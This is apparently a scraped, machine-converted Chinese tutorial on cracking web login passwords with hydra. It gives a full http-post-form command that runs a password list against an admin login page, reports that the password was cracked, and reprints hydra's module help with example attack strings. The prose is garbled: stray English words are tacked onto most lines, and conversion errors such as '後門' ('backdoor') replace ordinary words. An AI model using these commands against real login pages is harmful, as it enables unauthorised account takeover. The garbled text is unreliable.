使用 hydra 破解網絡登陸密碼

  這裏說的是 post 類型的。。 php

 
[root@fedora ~]# hydra -f -l sincoder -P /root/1.txt -V -s 9900 192.168.7.122 http-post-form "/admin/index.php?action=login:user=^USER^&pw=^PASS^:<title>登陸</title>"

主要看後面 。。 web

/index.php ..這個是登陸的 url cookie

後門是POST的數據 其中的用戶名密碼使用 ^USER^ ^PASS^ 來代替 app

而後是若是登陸出錯 會出現的字符 。。。 dom

而後開始破解吧  webapp

這裏破出來了。。 post

詳細的解釋 ui

[root@fedora ~]# hydra -U http-form
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2012-11-25 19:25:02

Help for module http-form:
============================================================================
Module http-form requires the page and the parameters for the web form.

By default this module is configured to follow a maximum of 5 redirections in
a row. It always gathers a new cookie from the same URL without variables
The parameters take three ":" separated values, plus optional values.

Syntax:   <url>:<form parameters>:<condition string>[:<optional>[:<optional>]
First is the page on the server to GET or POST to (URL).
Second is the POST/GET variables (taken from either the browser, proxy, etc.
 with usernames and passwords being replaced in the "^USER^" and "^PASS^"
 placeholders (FORM PARAMETERS)
Third is the string that it checks for an *invalid* login (by default)
 Invalid condition login check can be preceded by "F=", successful condition
 login check must be preceded by "S=".
 This is where most people get it wrong. You have to check the webapp what a
 failed string looks like and put it in this parameter!
The following parameters are optional:
 C=/page/uri     to define a different page to gather initial cookies from
 H=My-Hdr: foo   to send a user defined HTTP header with each request
Examples:
 "/login.php:user=^USER^&pass=^PASS^&mid=123:incorrect"
 "/login.php:user=^USER^&pass=^PASS^&mid=123:S=authlog=.*success"
 "/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed"
 "/login:user=^USER&pass=^PASS:failed:H=Authorization: Basic dT1w:H=X-Foo: Bar"
 "/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domC^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb"
[root@fedora ~]#

this

相關文章
相關標籤/搜索